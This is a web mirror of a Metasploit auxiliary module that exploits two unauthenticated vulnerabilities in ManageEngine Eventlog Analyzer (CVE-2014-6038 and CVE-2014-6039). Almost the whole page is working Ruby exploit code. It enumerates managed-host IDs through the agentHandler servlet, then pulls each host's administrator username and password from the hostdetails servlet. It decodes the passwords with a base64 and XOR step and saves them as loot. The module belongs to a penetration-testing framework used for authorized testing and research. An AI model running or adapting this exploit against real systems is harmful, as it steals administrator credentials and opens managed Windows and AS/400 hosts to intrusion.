CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/eventlog_cred_disclosure.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',
15
'Description' => %q{
16
ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that
17
allow an unauthenticated user to obtain the superuser password of any managed Windows and
18
AS/400 hosts. This module abuses both vulnerabilities to collect all the available
19
usernames and passwords. First the agentHandler servlet is abused to get the hostid and
20
slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames
21
and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7,
22
the TARGETURI has to be prepended with /event.
23
},
24
'Author' =>
25
[
26
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
[ 'CVE', '2014-6038' ],
32
[ 'CVE', '2014-6039' ],
33
[ 'OSVDB', '114342' ],
34
[ 'OSVDB', '114344' ],
35
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/12' ]
36
],
37
'DisclosureDate' => '2014-11-05'))
38
39
register_options(
40
[
41
Opt::RPORT(8400),
42
OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),
43
])
44
end
45
46
47
def decode_password(encoded_password)
48
password_xor = Rex::Text.decode_base64(encoded_password)
49
password = ''
50
password_xor.bytes.each do |byte|
51
password << (byte ^ 0x30)
52
end
53
return password
54
end
55
56
57
def run
58
res = send_request_cgi({
59
'uri' => normalize_uri(target_uri.path, 'agentHandler'),
60
'method' =>'GET',
61
'vars_get' => {
62
'mode' => 'getTableData',
63
'table' => 'HostDetails'
64
}
65
})
66
67
unless res && res.code == 200
68
fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")
69
return
70
end
71
72
# When passwords have digits the XML parsing will fail.
73
# Replace with an empty password attribute so that we know the device has a password
74
# and therefore we want to add it to our host list.
75
xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))
76
begin
77
doc = REXML::Document.new(xml)
78
rescue
79
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
80
end
81
82
slid_host_ary = []
83
doc.elements.each('Details/HostDetails') do |ele|
84
if ele.attributes['password']
85
# If an element doesn't have a password, then we don't care about it.
86
# Otherwise store the slid and host_id to use later.
87
slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]
88
end
89
end
90
91
cred_table = Rex::Text::Table.new(
92
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
93
'Indent' => 1,
94
'Columns' =>
95
[
96
'Host',
97
'Type',
98
'SubType',
99
'Domain',
100
'Username',
101
'Password',
102
]
103
)
104
105
slid_host_ary.each do |host|
106
res = send_request_cgi({
107
'uri' => normalize_uri(target_uri.path, 'hostdetails'),
108
'method' =>'GET',
109
'vars_get' => {
110
'slid' => host[0],
111
'hostid' => host[1]
112
}
113
})
114
115
unless res && res.code == 200
116
fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")
117
end
118
119
begin
120
doc = REXML::Document.new(res.body)
121
rescue
122
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
123
end
124
125
doc.elements.each('Details/Hosts') do |ele|
126
# Add an empty string if a variable doesn't exist, we have to check it
127
# somewhere and it's easier to do it here.
128
host_ipaddress = ele.attributes['host_ipaddress'] || ''
129
130
ele.elements.each('HostDetails') do |details|
131
domain_name = details.attributes['domain_name'] || ''
132
username = details.attributes['username'] || ''
133
password_encoded = details.attributes['password'] || ''
134
password = decode_password(password_encoded)
135
type = details.attributes['type'] || ''
136
subtype = details.attributes['subtype'] || ''
137
138
unless type =~ /Windows/ || subtype =~ /Windows/
139
# With AS/400 we get some garbage in the domain name even though it doesn't exist
140
domain_name = ""
141
end
142
143
msg = "Got login to #{host_ipaddress} | running "
144
msg << type << (subtype != '' ? " | #{subtype}" : '')
145
msg << ' | username: '
146
msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)
147
msg << " | password: #{password}"
148
print_good(msg)
149
150
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
151
152
if type == 'Windows'
153
service_name = 'epmap'
154
port = 135
155
elsif type == 'IBM AS/400'
156
service_name = 'as-servermap'
157
port = 449
158
else
159
next
160
end
161
162
credential_core = report_credential_core({
163
password: password,
164
username: username,
165
})
166
167
host_login_data = {
168
address: host_ipaddress,
169
service_name: service_name,
170
workspace_id: myworkspace_id,
171
protocol: 'tcp',
172
port: port,
173
core: credential_core,
174
status: Metasploit::Model::Login::Status::UNTRIED
175
}
176
create_credential_login(host_login_data)
177
end
178
end
179
end
180
181
print_line
182
print_line("#{cred_table}")
183
loot_name = 'manageengine.eventlog.managed_hosts.creds'
184
loot_type = 'text/csv'
185
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
186
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
187
p = store_loot(
188
loot_name,
189
loot_type,
190
rhost,
191
cred_table.to_csv,
192
loot_filename,
193
loot_desc)
194
print_status "Credentials saved in: #{p}"
195
end
196
197
198
def report_credential_core(cred_opts={})
199
# Set up the has for our Origin service
200
origin_service_data = {
201
address: rhost,
202
port: rport,
203
service_name: (ssl ? 'https' : 'http'),
204
protocol: 'tcp',
205
workspace_id: myworkspace_id
206
}
207
208
credential_data = {
209
origin_type: :service,
210
module_fullname: self.fullname,
211
private_type: :password,
212
private_data: cred_opts[:password],
213
username: cred_opts[:username]
214
}
215
216
credential_data.merge!(origin_service_data)
217
create_credential(credential_data)
218
end
219
end
220
221